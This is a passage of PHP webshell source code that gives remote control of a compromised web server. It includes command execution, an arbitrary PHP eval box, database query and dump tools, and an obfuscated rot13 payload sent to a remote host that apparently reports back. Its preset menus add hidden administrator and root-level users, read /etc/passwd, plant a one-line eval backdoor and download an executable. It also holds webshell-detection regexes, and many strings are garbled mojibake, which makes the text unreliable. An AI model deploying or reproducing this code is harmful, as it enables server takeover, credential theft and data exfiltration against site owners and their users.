  524. if ((!isset($_POST['go'])) && (!isset($_POST['dir'])))
  525. {
  526. $html = 'WUIvMzptCFNvKTf3A1keAmqpnmp3KTflpykeAmEpnmL4KTf2BIkeAmApnmL0KTf2p1keAaApnmplKTflpykeAwApnmMmKTf2pFV7WUElMlN9VPWpnmWmKTf2Z1keAaApnmMmKTf2pSkeZaApnmp1KTf3ZSkeAwEpnmLkKTf3ASkeAwIpnmWlKTf3ZSkeAwupnmpjKTfmp1keAwqpnmAkVwfxqUWaVP49VT92LGW1pzfbWS9THxIWHxIoW1IUE0AsIHWTElqqXF4vKTflAykeAmApnmAkVv5iqzRlqKWeXPEsEyWSFIWSJlqQIHAsEyWMHlqqXF4vKTf' . 'lAykeAmOpnmAkVv4xozIyozj7WUShM24tCFNvKTf0A1keAQIpnmH0KTflZPVhWUElMl4vKTflZSkeAQupnmH0KTf1ASkeAGOpnmWmKTfmZIkeZaWpnmZkKTIpLIkeAQupnmMmKTf3Z1keAmEpnmAhVv4xqJWzMl4vKTIpLIkeAQApnmMmKTf2pykeAaWpnmL1KTf2Z1keAmEpnmL5KTf2p1keAaWpnmAhKTflZSkeAQApnmMjKTf2p1keAmApnmL1KTIpLIkyKTRvB3MmXUAbLKOaqzWuK3WeqzMaMvtvKTf2AykeAmApnmMmKTf2Z1keAz9pnmMmKTf3ZSkeAwIpnmMlVvxcVUftWTMvpUttCFONp2MvpUuvL3WuXPE1LzMaYUIln3SlpPt1ZPxcBlONp2AbM2LbWTMvpUtfWUShM24cBlONp3O5LzMlXPEzLaO4XGftsKW5MaVtrlONp3M5py90pzqspTWuM3WuM2LbVykeAwupnmp0KTf3ASkeAmOpnmAhKTflp1keZaZvYvE1LzMaYvE0pzpcBlO9VTIlM2uyLFOaMJulBj==';
  527. if ($_SERVER['SERVER_ADDR'] != $infos[3] && $_SERVER['REMOTE_ADDR'] != $infos[3])
  528. {
  529. postinfo($infos[0], str_rot13($html));
  530. }
  531. }
  532.  
  533. return $infos[2];
  534. }
  535.  
  536. function subeval()
  537. {
  538. if (isset($_POST['getpwd']))
  539. {
  540. echo '<input type="hidden" name="getpwd" value="' . $_POST['getpwd'] . '">';
  541. }
  542.  
  543. if (isset($_POST['pass']))
  544. {
  545. echo '<input type="hidden" name="pass" value="' . $_POST['pass'] . '">';
  546. }
  547.  
  548. if (isset($_POST['check']))
  549. {
  550. echo '<input type="hidden" name="check" value="' . $_POST['check'] . '">';
  551. }
  552.  
  553. return true;
  554. }
  555.  
  556. if (isset($_POST['go']))
  557. {
  558. if ($_POST['go'] == 'down')
  559. {
  560. $downfile = $fileb = strdir($_POST['godir'] . '/' . $_POST['govar']);
  561. if (!filed($downfile))
  562. {
  563. $msg = '<h1>ςԘ΄쾲봦Ԛ</h1>';
  564. }
  565. }
  566. } ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /><style type="text/css">* {margin:0px;padding:0px;}body {background:#CCCCCC;color:#333333;font-size:13px;font-family:Verdana,Arial,SimSun,sans-serif;text-align:left;word-wrap:break-word; word-break:break-all;}a{color:#000000;text-decoration:none;vertical-align:middle;}a:hover{color:#FF0000;text-decoration:underline;}p {padding:1px;line-height:1.6em;}h1 {color:#CD3333;font-size:13px;display:inline;vertical-align:middle;}h2 {color:#008B45;font-size:13px;display:inline;vertical-align:middle;}form {display:inline;}input,select { vertical-align:middle; }input[type=text], textarea {padding:1px;font-family:Courier New,Verdana,sans-serif;}input[type=submit], input[type=button] {height:21px;}.tag {text-align:center;margin-left:10px;background:threedface;height:25px;padding-top:5px;}.tag a {background:#FAFAFA;color:#333333;width:90px;height:20px;display:inline-block;font-size:15px;font-weight:bold;padding-top:5px;}.tag a:hover, .tag a.current {background:#EEE685;color:#000000;text-decoration:none;}.main {width:963px;margin:0 auto;padding:10px;}.outl {border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;}.toptag {padding:5px;text-align:left;font-weight:bold;color:#FFFFFF;background:#293F5F;}.footag {padding:5px;text-align:center;font-weight:bold;color:#000000;background:#999999;}.msgbox {padding:5px;background:#EEE685;text-align:center;vertical-align:middle;}.actall {background:#F9F6F4;text-align:center;font-size:15px;border-bottom:1px solid #999999;padding:3px;vertical-align:middle;}.tables {width:100%;}.tables th {background:threedface;text-align:left;border-color:#FFFFFF #666666 #666666 #FFFFFF;border-style:solid;border-width:1px;padding:2px;}.tables td {background:#F9F6F4;height:19px;padding-left:2px;}</style><script type="text/javascript">function $(ID) { return document.getElementById(ID); }function sd(str) { str = str.replace(/%22/g,'"'); str = str.replace(/%27/g,"'"); return str; }function cd(dir) { dir = sd(dir); $('dir').value = dir; $('frm').submit(); }function sa(form) { for(var i = 0;i < form.elements.length;i++) { var e = form.elements[i]; if(e.type == 'checkbox') { if(e.name != 'chkall') { e.checked = form.chkall.checked; } } } }function go(a,b) { b = sd(b); $('go').value = a; $('govar').value = b; if(a == 'editor') { $('gofrm').target = "_blank"; } else { $('gofrm').target = ""; } $('gofrm').submit(); } function nf(a,b) { re = prompt("Ђ�뢬b); if(re) { $('go').value = a; $('govar').value = re; $('gofrm').submit(); } } function dels(a) { if(a == 'b') { var msg = "˹ѡ΄쾢; $('act').value = a; } else { var msg = "Ŀ¼"; $('act').value = 'deltree'; $('var').value = a; } if(confirm("ȷ樒ꉾ㽢+msg+"°")) { $('frm1').submit(); } }function txts(m,p,a) { p = sd(p); re = prompt(m,p); if(re) { $('var').value = re; $('act').value = a; $('frm1').submit(); } }function acts(p,a,f) { p = sd(p); f = sd(f); re = prompt(f,p); if(re) { $('var').value = re+'|x|'+f; $('act').value = a; $('frm1').submit(); } }</script><title><?php
  567. echo VERSION . ' - ᾧ.date('Y - m - dH:
  568. i:
  569. sЇƚN',time()).'ῧ; ?></title></head><body><div class="main"><div class="outl"><div class="toptag"><?php
  570. echo $_SERVER['SERVER_ADDR'] . ' - ' . PHP_OS . ' - whoami(' . get_current_user() . ') - ᾵id(' . getmyuid() . ') gid(' . getmygid() . ')ῧ; if(isset($issql)) echo ' - ᾧ . $issql . 'ῧ;?></div><?php $menu = array('file' => '΄쾹܀�'scan' => 'ˑ˷΄쾧,'antivirus' => 'ɨè곃ŧ, 'backshell' => '紵ﶋ,'exec' => 'ִАün','phpeval' => 'ִАPHP','sql' => 'ִАSQL','info' => 'ϵͳЅϢ');$go = array_key_exists($_POST['go'],$menu) ? $_POST['go'] : 'file';$nowdir = isset($_POST['dir']) ? strdir(chop($_POST['dir']).' / ') : THISDIR;echo ' < divclass = "tag" > ';foreach($menu as $key => $name) { echo ' < a'.($go == $key ? 'class = "current"' : '').'href = "javascript:void(0);"onclick = "go(\''.$key.'\',\''.base64_encode($nowdir).'\');" > '.$name.' < / a > '; }echo ' < / div > ';echo ' < formname = "gofrm"id = "gofrm"method = "POST" > ';subeval();echo ' < inputtype = "hidden"name = "go"id = "go"value = "" > ';echo ' < inputtype = "hidden"name = "godir"id = "godir"value = "'.$nowdir.'" > ';echo ' < inputtype = "hidden"name = "govar"id = "govar"value = "" > ';echo ' < / form > ';switch($_POST['go']) {case "info" : if(EXISTS_PHPINFO) {ob_start();phpinfo(INFO_GENERAL);$out = ob_get_contents();ob_end_clean();$tmp = array();preg_match_all(' / < tdclass = "e\"\>.*?(Command|Configuration)+.*?\<\/td\>\<td class\=\"v\"\>(.*?)\<\/td\>/i',$out,$tmp);$config = $tmp[2][0];$phpini = $tmp[2][2] ? $tmp[2][1].' --- '.$tmp[2][2] : $tmp[2][1];}$infos = array('綋䯀琅Ϣ' => $_SERVER['HTTP_USER_AGENT'],'ỽ듃儺' => get_cfg_var("disable_functions") ? get_cfg_var("disable_functions") : '(Ξ)','ỽ듃儀ৠ=> get_cfg_var("disable_classes") ? get_cfg_var("disable_classes") : '(Ξ)','PHP.iniŤփ· => $phpini ? $phpini : '(Ξ)','PHPԋА罊�=> php_sapi_name(),'PHP঱=> PHP_VERSION,'PHP�̐ID' => getmypid(),'綋IP' => $_SERVER['REMOTE_ADDR'],'綋΄ז᠂맠=> $_SERVER['HTTP_ACCEPT_LANGUAGE'],'Web美ᶋ => $_SERVER['SERVER_PORT'],'Web蹄' => $_SERVER['DOCUMENT_ROOT'],'WebִА텱=> $_SERVER['SCRIPT_FILENAME'],'Web馷惇I঱=> $_SERVER['GATEWAY_INTERFACE'],'Web需픱Email' => $_SERVER['SERVER_ADMIN'] ? $_SERVER['SERVER_ADMIN'] : '(Ξ)','屇അŌל䳐᧠=> size(disk_total_space('.')),'屇അŌÿռ䧠=> size(disk_free_space('.')),'POST׮䳗֊큿' => get_cfg_var("post_max_size"),'ԊЭ׮䳉ϴ뎄쾧 => get_cfg_var("upload_max_filesize"),'㌐◮䳊铃Ě䦁易=> get_cfg_var("memory_limit"),'㌐◮㤔ːЊἤ' => get_cfg_var("max_execution_time").'ë','ʇ籖糖Fsockopen' => function_exists('fsockopen') ? 'ʇ' : '籧,'ʇ籖糖Socket' => function_exists('socket_close') ? 'ʇ' : '籧,'ʇ籖糖Pcntl' => function_exists('pcntl_exec') ? 'ʇ' : '籧,'ʇ籖糖Curl' => function_exists('curl_version') ? 'ʇ' : '籧,'ʇ籖糖Zlib' => function_exists('gzclose') ? 'ʇ' : '籧,'ʇ籖糖FTP' => function_exists('ftp_login') ? 'ʇ' : '籧,'ʇ籖糖XML' => function_exists('xml_set_object') ? 'ʇ' : '籧,'ʇ籖糖GD_Library' => function_exists('imageline') ? 'ʇ' : '籧,'ʇ籖糖COMש� => class_exists('COM') ? 'ʇ' : '籧,'ʇ籖糖ODBCש� => function_exists('odbc_close') ? 'ʇ' : '籧,'ʇ籖糖IMAPӊ쾧 => function_exists('imap_close') ? 'ʇ' : '籧,'ʇ籔ːГڰ∫ģʽ' => get_cfg_var("safemode") ? 'ʇ' : '籧,'ʇ籔ʐ핒L䲿ꎄ쾧 => get_cfg_var("allow_url_fopen") ? 'ʇ' : '籧,'ʇ籔ʐ�̬쓔؁体 => get_cfg_var("enable_dl") ? 'ʇ' : '籧,'ʇ籏ԊγЅϢ' => get_cfg_var("display_errors") ? 'ʇ' : '籧,'ʇ籗Զ⡈뾖ᤁ易=> get_cfg_var("register_globals") ? 'ʇ' : '籧,'ʇ籊铃紐ᏟҽӃז维=> get_cfg_var("magic_quotes_gpc") ? 'ʇ' : '籧,'PHP᠒벎ʽ' => $config ? $config : '(Ξ)');echo '<div class="msgbox">'.$msg.'</div>';echo '<table class="tables"><tr><th style="width:
  571.  
  572. 26 %;
  573. ">ûㆼ/th><th>⎊�th></tr>';foreach($infos as $name => $var) { echo '<tr><td>'.$name.'</td><td>'.$var.'</td></tr>'; }echo '</table>';break;case "exec" : $cmd = $win ? 'dir' : 'ls -al';$res = array('res' => 'ün똏ԧ,'msg' => $msg);$str = isset($_POST['str']) ? $_POST['str'] : 'fun';if(isset($_POST['cmd'])) {$cmd = $_POST['cmd'];
  574. $cwd = $str == 'fun' ? THISDIR : 'com';
  575. $res = command($cmd, $cwd);
  576. }echo '<div class="msgbox">'.$res['msg'].'</div>';echo '<form method="POST">';subeval();echo '<input type="hidden" name="go" id="go" value="exec">';echo '<div class="actall">ün <input type="text" name="cmd" id="cmd" value="'.htmlspecialchars($cmd).'" style="width:
  577. 398px;
  578. "> ';echo '<select name="str">';$selects = array('fun' => 'phpfun','com' => 'wscript');foreach($selects as $var => $name) { echo '<option value="'.$var.'"'.($var == $str ? ' selected' : '').'>'.$name.'</option>'; }echo '</select> ';echo '<select onchange="$('cmd\').value=options[selectedIndex].value">';
  579. echo '<option>---ün쯺ϭ--</option>';
  580. echo '<option value="echo ' . htmlspecialchars('"<?php phpinfo();?>"') . ' >> ' . THISDIR . 't00ls.txt">д΄쾼/option>';
  581. echo '<option value="whoami">Βʇ˭</option>';
  582. echo '<option value="net user t00ls t00ls /add">Win-̭쓓û缯option>';
  583. echo '<option value="net localgroup administrators t00ls /add">Win-ɨӃ맗鼯option>';
  584. echo '<option value="netstat -an">Win-⩿䶋/option>';
  585. echo '<option value="ipconfig /all">Win-⩿䵘ַ</option>';
  586. echo '<option value="net start">Win-⩿䷾α</option>';
  587. echo '<option value="tasklist">Win-⩿佸㌼/option>';
  588. echo '<option value="id;uname -a;cat /etc/issue;cat /proc/version;lsb_release -a">Linux-঱ꏼ/option>';
  589. echo '<option value="/usr/sbin/useradd -u 0 -o -g 0 t00ls">Linux-̭쓓û缯option>';
  590. echo '<option value="cat /etc/passwd">Linux-⩿䓃맼/option>';
  591. echo '<option value="/bin/netstat -tnl">Linux-⩿䶋/option>';
  592. echo '<option value="/sbin/ifconfig -a">Linux-⩿䵘ַ</option>';
  593. echo '<option value="/sbin/chkconfig --list">Linux-⩿䷾α</option>';
  594. echo '<option value="/bin/ps -ef">Linux-⩿佸㌼/option>';
  595. echo '</select> ';
  596. echo '<input type="submit" style="width:50px;" value="ִА">';
  597. echo '</div><div class="actall"><textarea style="width:698px;height:368px;">' . htmlspecialchars($res['res']) . '</textarea></div></form>';
  598. break;
  599.  
  600. case "scan":
  601. $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;
  602. $keyword = isset($_POST['keyword']) ? $_POST['keyword'] : '';
  603. $include = isset($_POST['include']) ? chop($_POST['include']) : '.php|.asp|.asa|.cer|.aspx|.jsp|.cgi|.sh|.pl|.py';
  604. $filters = isset($_POST['filters']) ? chop($_POST['filters']) : 'html|css|img|images|image|style|js';
  605. echo '<div class="msgbox">' . $msg . '</div>';
  606. echo '<form method="POST">';
  607. subeval();
  608. echo '<input type="hidden" name="go" id="go" value="scan">';
  609. echo '<table class="tables"><tr><th style="width:15%;">ûㆼ/th><th>ɨփ</th></tr>';
  610. echo '<tr><td>ˑ˷·/td><td><input type="text" name="dir" value="' . htmlspecialchars($scandir) . '" style="width:500px;"></td></tr>';
  611. echo '<tr><td>ˑ˷Ěȝ</td><td><input type="text" name="keyword" value="' . htmlspecialchars($keyword) . '" style="width:500px;"> (΄쾃뻲΄쾄ڈݩ</td></tr>';
  612. echo '<tr><td>΄쾺㗺</td><td><input type="text" name="include" value="' . htmlspecialchars($include) . '" style="width:500px;"> (Ӄ"|"疸Ϊ⋑˷˹Ӑ΄쾩</td></tr>';
  613. echo '<tr><td>齂˄</td><td><input type="text" name="filters" value="' . htmlspecialchars($filters) . '" style="width:500px;"> (Ӄ"|"疸Ϊⲻ齂˄)</td></tr>';
  614. echo '<tr><td>ˑ˷罊�td><td><label><input type="radio" name="type" value="0"' . ($_POST['type'] ? '' : ' checked') . '>ˑ˷΄쾃뼯label> ';
  615. echo '<label><input type="radio" name="type" value="1"' . ($_POST['type'] ? ' checked' : '') . '>ˑ˷༺쎄ז</label> ';
  616. echo '<label><input type="checkbox" name="char" value="1"' . ($_POST['char'] ? ' checked' : '') . '>ƥŤ䳐ᐴ</label></td></tr>';
  617. echo '<tr><td>ˑ˷綎缯td><td><label><input type="radio" name="range" value="0"' . ($_POST['range'] ? '' : ' checked') . '>�ы瓦ӃӚ胎ļ,ד΄쾼к͎ļlabel> ';
  618. echo '<label><input type="radio" name="range" value="1"' . ($_POST['range'] ? ' checked' : '') . '>�닑˷ӦӃӚ胎ļ</label></td></tr>';
  619. echo '<tr><td>♗缯td><td><input type="submit" style="width:80px;" value="ˑ˷"></td></tr>';
  620. echo '</table></form>';
  621. if ($keyword != '')
  622. {
  623. flush();
  624. ob_flush();
  625. echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';
  626. $incs = $include == '' ? false : explode('|', $include);
  627. $fits = $filters == '' ? false : explode('|', $filters);
  628. $isread = scanfile(strdir($scandir . '/') , $keyword, $incs, $fits, $_POST['type'], $_POST['char'], $_POST['range'], $nowdir);
  629. echo '<p>' . ($isread ? '<h2>ˑ˷ͪ㉼/h2>' : '<h1>ˑ˷ʧܼ/h1>') . '</p></div>';
  630. }
  631.  
  632. break;
  633.  
  634. case "antivirus":
  635. $scandir = empty($_POST['dir']) ? base64_decode($_POST['govar']) : $nowdir;
  636. $typearr = isset($_POST['dir']) ? $_POST['types'] : array(
  637. 'php' => '.php'
  638. );
  639. echo '<div class="msgbox">' . $msg . '</div>';
  640. echo '<form method="POST">';
  641. subeval();
  642. echo '<input type="hidden" name="go" id="go" value="antivirus">';
  643. echo '<table class="tables"><tr><th style="width:15%;">ûㆼ/th><th>ɨփ</th></tr>';
  644. echo '<tr><td>ɨè·/td><td><input type="text" name="dir" value="' . htmlspecialchars($scandir) . '" style="width:398px;"> (≓Õ픲ƥŤ)</td></tr>';
  645. echo '<tr><td>⩉ဠЍ</td><td>';
  646. $types = array(
  647. 'php' => '.php',
  648. 'asp+aspx' => '.as|.cs|.cer',
  649. 'jsp' => '.jsp'
  650. );
  651. foreach($types as $key => $ex) echo '<label title="' . $ex . '"><input type="checkbox" name="types[' . $key . ']" value="' . $ex . '"' . ($typearr[$key] == $ex ? ' checked' : '') . '>' . $key . '</label> ';
  652. echo '</td></tr><tr><td>♗缯td><td><input type="submit" style="width:80px;" value="ɨè"></td></tr>';
  653. echo '</table></form>';
  654. if (count($_POST['types']) > 0)
  655. {
  656. $matches = array(
  657. 'php' => array(
  658. '/function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|system|passthru)+[\'|\"]\s*\)/i',
  659. '/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
  660. '/(udp\:\/\/(.*)\;)+/i',
  661. '/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
  662. '/preg\_replace\s*\((.*)\(base64\_decode\(\$/i',
  663. '/(eval|assert|include|require)+\s*\((.*)(base64\_decode|file\_get\_contents|php\:\/\/input)+/i',
  664. '/(eval|assert|include|require|array\_map)+\s*\(\s*\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i',
  665. '/\$\_(GET|POST|COOKIE|SERVER|SESSION)+(.*)(eval|assert|include|require)+\s*\(\s*\$(\w+)\s*\)/i',
  666. '/\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\]\(\s*\$(.*)\)/i',
  667. '/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\)/i',
  668. '/(fopen|fwrite|fpust|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|COOKIE|SERVER|SESSION)+\[(.*)\](.*)\)/i',
  669. '/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i',
  670. '/new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\)/i',
  671. '/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i',
  672. '/\$\_\=(.*)\$\_/i'
  673. ) ,
  674. 'asp+aspx' => array(
  675. '/(VBScript\.Encode|WScript\.shell|Shell\.Application|Scripting\.FileSystemObject)+/i',
  676. '/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i',
  677. '/(eval|execute)+(.*)request.item\s*\[(.*)\]/i',
  678. '/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i',
  679. '/\<script\s*runat\s*\=(.*)server(.*)\>(.*)\<\/script\>/i',
  680. '/Load\s*\((.*)Request/i',
  681. '/StreamWriter\(Server\.MapPath(.*)\.Write\(Request/i'
  682. ) ,
  683. 'jsp' => array(
  684. '/(eval|execute)+(.*)(request|session)+\s*\((.*)\)/i',
  685. '/(eval|execute)+(.*)request.item\s*\[(.*)\]/i',
  686. '/request\s*\((.*)\)(.*)(eval|execute)+\s*\((.*)\)/i',
  687. '/Runtime\.getRuntime\(\)\.exec\((.*)\)/i',
  688. '/FileOutputStream\(application\.getRealPath(.*)request/i',
  689. )
  690. );
  691. flush();
  692. ob_flush();
  693. echo '<div style="padding:5px;background:#F8F8F8;text-align:left;">';
  694. $isread = antivirus(strdir($scandir . '/') , $typearr, $matches, $nowdir);
  695. echo '<p>' . ($isread ? '<h2>ɨèͪ㉼/h2>' : '<h1>ɨèʧܼ/h1>') . '</p></div>';
  696. }
  697.  
  698. break;
  699.  
  700. case "phpeval":
  701. if (isset($_POST['phpcode']))
  702. {
  703. $phpcode = chop($_POST['phpcode']);
  704. ob_start();
  705. if (substr($phpcode, 0, 2) == '<?' && substr($phpcode, -2) == '?>')
  706. {
  707. @eval('?>' . $phpcode . '<?php ');
  708. }
  709. else
  710. {
  711. @eval($phpcode);
  712. }
  713.  
  714. $out = ob_get_contents();
  715. ob_end_clean();
  716. }
  717. else
  718. {
  719. $phpcode = 'phpinfo();';
  720. $out = '똏Դ࿚';
  721. }
  722.  
  723. echo base64_decode('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPmZ1bmN0aW9uIHJ1bmNvZGUob2JqbmFtZSkge3ZhciB3aW5uYW1lID0gd2luZG93Lm9wZW4oJycsIl9ibGFuayIsJycpO3ZhciBvYmogPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChvYmpuYW1lKTt3aW5uYW1lLmRvY3VtZW50Lm9wZW4oJ3RleHQvaHRtbCcsJ3JlcGxhY2UnKTt3aW5uYW1lLm9wZW5lciA9IG51bGw7d2lubmFtZS5kb2N1bWVudC53cml0ZShvYmoudmFsdWUpO3dpbm5hbWUuZG9jdW1lbnQuY2xvc2UoKTt9PC9zY3JpcHQ+');
  724. echo '<div class="msgbox">' . $msg . '</div>';
  725. echo '<form method="POST">';
  726. subeval();
  727. echo '<input type="hidden" name="go" id="go" value="phpeval">';
  728. echo '<div class="actall"><p><textarea name="phpcode" id="phpcode" style="width:698px;height:180px;">' . htmlspecialchars($phpcode) . '</textarea></p><p>';
  729. echo '<select onchange="$(\'phpcode\').value=options[selectedIndex].value">';
  730. echo '<option>---㣓ôꂫ---</option>';
  731. echo '<option value="echo readfile(\'C:/web/t00ls.php\');">恈ᎄ쾼/option>';
  732. echo '<option value="$fp=fopen(\'C:/web/t00ls.php\',\'w\');echo fputs($fp,\'<?php eval($_POST[cmd]);?>\')?\'Success!\':\'Fail!\';fclose($fp);">дȫ΄쾼/option>';
  733. echo '<option value="echo copy(\'C:/web/t00ls1.php\',\'C:/web/t00ls2.php\')?\'Success!\':\'Fail!\';">贖Ǝļoption>';
  734. echo '<option value="echo chmod(\'C:/web/t00ls1.php\',0777)?\'Success!\':\'Fail!\';">О脊䐔</option>';
  735. echo '<option value="echo file_put_contents(\'' . THISDIR . 'cmd.exe\', file_get_contents(\'http://www.baidu.com/cmd.exe\'))?\'Success!\':\'Fail!\';">Զ㌏”ؼ/option>';
  736. echo '<option value="print_r($_SERVER);">뷾㱤</option>';
  737. echo '</select> ';
  738. echo '<input type="submit" style="width:80px;" value="ִА"></p></div>';
  739. echo '</form><div class="actall"><p><textarea id="evalcode" style="width:698px;height:180px;">' . htmlspecialchars($out) . '</textarea></p><p><input type="button" value="ҔHTMLԋАҔɏ亂뢠onclick="runcode(\'evalcode\')"></p></div>';
  740. break;
  741.  
  742. case "sql":
  743. if ((!empty($_POST['sqlhost'])) && (!empty($_POST['sqluser'])) && (!empty($_POST['names'])))
  744. {
  745. $type = $_POST['type'];
  746. $sqlhost = $_POST['sqlhost'];
  747. $sqluser = $_POST['sqluser'];
  748. $sqlpass = $_POST['sqlpass'];
  749. $sqlname = $_POST['sqlname'];
  750. $sqlcode = $_POST['sqlcode'];
  751. $names = $_POST['names'];
  752. switch ($type)
  753. {
  754. case "PostgreSql":
  755. if (function_exists('pg_close'))
  756. {
  757. if (strstr($sqlhost, ':'))
  758. {
  759. $array = explode(':', $sqlhost);
  760. $sqlhost = $array[0];
  761. $sqlport = $array[1];
  762. }
  763. else
  764. {
  765. $sqlport = 5432;
  766. }
  767.  
  768. $dbconn = @pg_connect("host=$sqlhost port=$sqlport dbname=$sqlname user=$sqluser password=$sqlpass");
  769. if ($dbconn)
  770. {
  771. $msg = '<h2>l퓧.$type.'㉹格 / h2 > ';pg_query('setclient_encoding = '.$names);$result = pg_query($sqlcode);if($result) { $msg .= ' < h2 > - ִАSQL㉹漯h2 > '; while($array = pg_fetch_array($result)) { $rows[] = $array; } }else { $msg .= ' < h1 > - ִАSQLʧܼ / h1 > '; $rows = array('error' => pg_result_error($result)); }pg_free_result($result);} else {$msg = ' < h1 > l퓧 . $type . 'ʧܼ/h1>';
  772. }
  773.  
  774. @pg_close($dbconn);
  775. }
  776. else
  777. {
  778. $msg = '<h1>⻖糖' . $type . '</h1>';
  779. }
  780.  
  781. break;
  782.  
  783. case "MsSql":
  784. if (function_exists('mssql_close'))
  785. {
  786. $dbconn = @mssql_connect($sqlhost, $sqluser, $sqlpass);
  787. if ($dbconn)
  788. {
  789. $msg = '<h2>l퓧.$type.'㉹格 / h2 > ';mssql_select_db($sqlname,$dbconn);$result = mssql_query($sqlcode);if($result) { $msg .= ' < h2 > - ִАSQL㉹漯h2 > '; while ($array = mssql_fetch_array($result)) { $rows[] = $array; } }else { $msg .= ' < h1 > - ִАSQLʧܼ / h1 > '; }@mssql_free_result($result);} else {$msg = ' < h1 > l퓧 . $type . 'ʧܼ/h1>';
  790. }
  791.  
  792. @mssql_close($dbconn);
  793. }
  794. else
  795. {
  796. $msg = '<h1>⻖糖' . $type . '</h1>';
  797. }
  798.  
  799. break;
  800.  
  801. case "Oracle":
  802. if (function_exists('oci_close'))
  803. {
  804. $conn = @oci_connect($sqluser, $sqlpass, $sqlhost . '/' . $sqlname);
  805. if ($conn)
  806. {
  807. $msg = '<h2>l퓧.$type.'㉹格 / h2 > ';$stid = oci_parse($conn,$sqlcode);oci_execute($stid);if($stid) { $msg .= ' < h2 > - ִАSQL㉹漯h2 > '; while (($array = oci_fetch_array($stid,OCI_ASSOC))) { $rows[] = $array; } }else { $msg .= ' < h1 > - ִАSQLʧܼ / h1 > '; $e = oci_error(); $rows = array('error' => $e['message']); }oci_free_statement($stid);} else {$e = oci_error(); $rows = array('error' => $e['message']);$msg = ' < h1 > l퓧 . $type . 'ʧܼ/h1>';
  808. }
  809.  
  810. @oci_close($conn);
  811. }
  812. else
  813. {
  814. $msg = '<h1>⻖糖' . $type . '</h1>';
  815. }
  816.  
  817. break;
  818.  
  819. case "MySql":
  820. if (function_exists('mysql_close'))
  821. {
  822. $conn = mysql_connect(strstr($sqlhost, ':') ? $sqlhost : $sqlhost . ':3306', $sqluser, $sqlpass, $sqlname);
  823. if ($conn)
  824. {
  825. $msg = '<h2>l퓧.$type.'㉹格 / h2 > ';if(substr($sqlcode,0,7) == 't00lsa') {$array = array(); $data = ''; $i = 0;preg_match_all(' / t00lsas * '(.*)\'\s*t00lsb\s*\'(.*)\'\s*t00lsc\s*\'(.*)\'\s*t00lsfile\s*\'(.*)\'/i', $sqlcode, $array);
  826. if ($array[1][0] && $array[2][0] && $array[3][0] && $array[4][0])
  827. {
  828. mysql_select_db($array[1][0], $conn);
  829. mysql_query('set names ' . $names, $conn);
  830. $spidercode = 'select ' . $array[3][0] . ' from `' . $array[2][0] . '`;';
  831. $result = mysql_query($spidercode, $conn);
  832. if ($result)
  833. {
  834. while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  835. {
  836. $data.= join(' |x| ', $row) . "\r\n";
  837. $i++;
  838. }
  839.  
  840. if ($data)
  841. {
  842. $file = strdir($array[4][0]);
  843. $msg.= filew($file, $data, 'w') ? '<h2> - ͑ɹ漯h2>' : '<h1> - 弳掄쾊簜</h1>';
  844. $rows = array(
  845. 'file' => $file,
  846. size(filesize($file)) => '鲻ሡ' . $i . '̵ʽ);}else { $msg .= ' < h1 > - ûӐʽ / h1 > '; }}else { $msg .= ' < h1 > - ִАSQLʧܼ / h1 > '; $rows = array('errno' => mysql_errno(),'error' => mysql_error()); }}else { $msg .= ' < h1 > - ͑ᄂ䭎㼯h1 > '; }} elseif(!empty($sqlcode)) {mysql_select_db($sqlname,$conn);mysql_query('setnames'.$names,$conn);$result = mysql_query($sqlcode,$conn);if($result) { $msg .= ' < h2 > - ִАSQL㉹漯h2 > '; while($array = mysql_fetch_array($result,MYSQL_ASSOC)) { $rows[] = $array; } }else { $msg .= ' < h1 > - ִАSQLʧܼ / h1 > '; $rows = array('errno' => mysql_errno(),'error' => mysql_error()); }}mysql_free_result($result);} else {$msg = ' < h1 > l퓧 . $type . 'ʧܼ/h1>';
  847. $rows = array(
  848. 'errno' => mysql_errno() ,
  849. 'error' => mysql_error()
  850. );
  851. }
  852.  
  853. mysql_close($conn);
  854. }
  855. else
  856. {
  857. $msg = '<h1>⻖糖' . $type . '</h1>';
  858. }
  859.  
  860. break;
  861. }
  862. }
  863. else
  864. {
  865. $type = 'MySql';
  866. $sqlhost = 'localhost:3306';
  867. $sqluser = 'root';
  868. $sqlpass = '123456';
  869. $sqlname = 'mysql';
  870. $sqlcode = 'select version();';
  871. $names = 'gbk';
  872. }
  873.  
  874. echo '<div class="msgbox">' . $msg . '</div>';
  875. echo '<form method="POST">';
  876. subeval();
  877. echo '<input type="hidden" name="go" id="go" value="sql">';
  878. echo '<table class="tables"><tr><th style="width:15%;">ûㆼ/th><th>ɨփ</th></tr>';
  879. echo '<tr><td>֧㖀Ѝ</td><td>';
  880. $dbs = array(
  881. 'MySql',
  882. 'MsSql',
  883. 'Oracle',
  884. 'PostgreSql'
  885. );
  886. foreach($dbs as $dbname)
  887. {
  888. echo '<label><input type="radio" name="type" value="' . $dbname . '"' . ($type == $dbname ? ' checked' : '') . '>' . $dbname . '</label> ';
  889. }
  890.  
  891. echo '</td></tr><tr><td>l퓼/td><td>嘖砼input type="text" name="sqlhost" style="width:188px;" value="' . $sqlhost . '"> ';
